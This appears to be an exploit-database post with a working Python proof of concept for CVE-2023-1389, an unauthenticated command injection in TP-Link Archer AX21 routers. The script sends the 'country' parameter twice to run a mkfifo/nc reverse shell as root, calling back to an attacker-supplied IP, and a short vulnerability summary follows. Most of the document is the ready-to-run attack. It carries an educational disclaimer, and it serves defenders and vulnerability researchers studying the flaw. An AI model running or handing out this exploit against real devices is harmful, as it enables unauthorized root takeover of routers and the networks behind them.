Headline
TP-Link Archer AX21 Command Injection
TP-Link Archer AX21 suffers from an unauthenticated remote command injection vulnerability.
#!/usr/bin/python3# # Exploit Title: TP-Link Archer AX21 - Unauthenticated Command Injection# Date: 07/25/2023# Exploit Author: Voyag3r (https://github.com/Voyag3r-Security)# Vendor Homepage: https://www.tp-link.com/us/# Version: TP-Link Archer AX21 (AX1800) firmware versions before 1.1.4 Build 20230219 (https://www.tenable.com/cve/CVE-2023-1389)# Tested On: Firmware Version 2.1.5 Build 20211231 rel.73898(5553); Hardware Version Archer AX21 v2.0# CVE: CVE-2023-1389## Disclaimer: This script is intended to be used for educational purposes only.# Do not run this against any system that you do not have permission to test. # The author will not be held responsible for any use or damage caused by this # program. # # CVE-2023-1389 is an unauthenticated command injection vulnerability in the web# management interface of the TP-Link Archer AX21 (AX1800), specifically, in the# *country* parameter of the *write* callback for the *country* form at the # "/cgi-bin/luci/;stok=/locale" endpoint. By modifying the country parameter it is # possible to run commands as root. Execution requires sending the request twice;# the first request sets the command in the *country* value, and the second request # (which can be identical or not) executes it. # # This script is a short proof of concept to obtain a reverse shell. To read more # about the development of this script, you can read the blog post here:# https://medium.com/@voyag3r-security/exploring-cve-2023-1389-rce-in-tp-link-archer-ax21-d7a60f259e94# Before running the script, start a nc listener on your preferred port -> run the script -> profitimport requests, urllib.parse, argparsefrom requests.packages.urllib3.exceptions import InsecureRequestWarning# Suppress warning for connecting to a router with a self-signed certificaterequests.packages.urllib3.disable_warnings(InsecureRequestWarning)# Take user input for the router IP, and attacker IP and portparser = argparse.ArgumentParser()parser.add_argument("-r", "--router", dest = "router", default = "192.168.0.1", help="Router name")parser.add_argument("-a", "--attacker", dest = "attacker", default = "127.0.0.1", help="Attacker IP")parser.add_argument("-p", "--port",dest = "port", default = "9999", help="Local port")args = parser.parse_args()# Generate the reverse shell command with the attacker IP and portrevshell = urllib.parse.quote("rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc " + args.attacker + " " + args.port + " >/tmp/f")# URL to obtain the reverse shellurl_command = "https://" + args.router + "/cgi-bin/luci/;stok=/locale?form=country&operation=write&country=$(" + revshell + ")"# Send the URL twice to run the command. Sending twice is necessary for the attackr = requests.get(url_command, verify=False)r = requests.get(url_command, verify=False)Related news
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TP-Link Archer AX21 (AX1800) firmware versions before 1.1.4 Build 20230219 contained a command injection vulnerability in the country form of the /cgi-bin/luci;stok=/locale endpoint on the web management interface. Specifically, the country parameter of the write operation was not sanitized before being used in a call to popen(), allowing an unauthenticated attacker to inject commands, which would be run as root, with a simple POST request.